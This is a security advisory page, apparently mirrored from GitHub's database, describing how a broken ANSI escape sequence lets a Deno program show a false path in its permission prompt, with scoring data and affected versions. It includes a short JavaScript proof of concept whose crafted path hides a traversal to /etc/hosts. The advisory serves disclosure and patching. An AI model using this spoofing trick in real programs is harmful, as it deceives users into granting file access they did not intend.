Lucene search

K
githubGitHub Advisory DatabaseGHSA-M4PQ-FV2W-6HRW
HistoryMar 05, 2024 - 8:54 p.m.

Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

2024-03-0520:54:14
CWE-150
GitHub Advisory Database
github.com
17
deno_runtime
interactive
permission
spoofing
vulnerability
improper
ansi
stripping
malicious
craft
permission_prompt

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.1 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

52.8%

Summary

A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.

Details

In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.

For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization.

This difference allows a malicious Deno program to spoof the contents of the permission prompt.

PoC

Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts.

const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));

Expected prompt

ā”Œ āš ļø  Deno requests read access to "/etc/hosts".
ā”œ Requested by `Deno.permissions.query()` API
ā”œ Run again with --allow-read to bypass this prompt.
ā”” Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Actual prompt

ā”Œ āš ļø  Deno requests read access to "/tmp/hellotc/hosts".
ā”œ Requested by `Deno.permissions.query()` API
ā”œ Run again with --allow-read to bypass this prompt.
ā”” Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

Impact

Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.

Affected configurations

Vulners
Node
denodeno_runtimeRange<0.147.0rust
OR
denodenoRange<1.41.0
CPENameOperatorVersion
deno_runtimelt0.147.0
denolt1.41.0

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.1 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

52.8%

Related for GHSA-M4PQ-FV2W-6HRW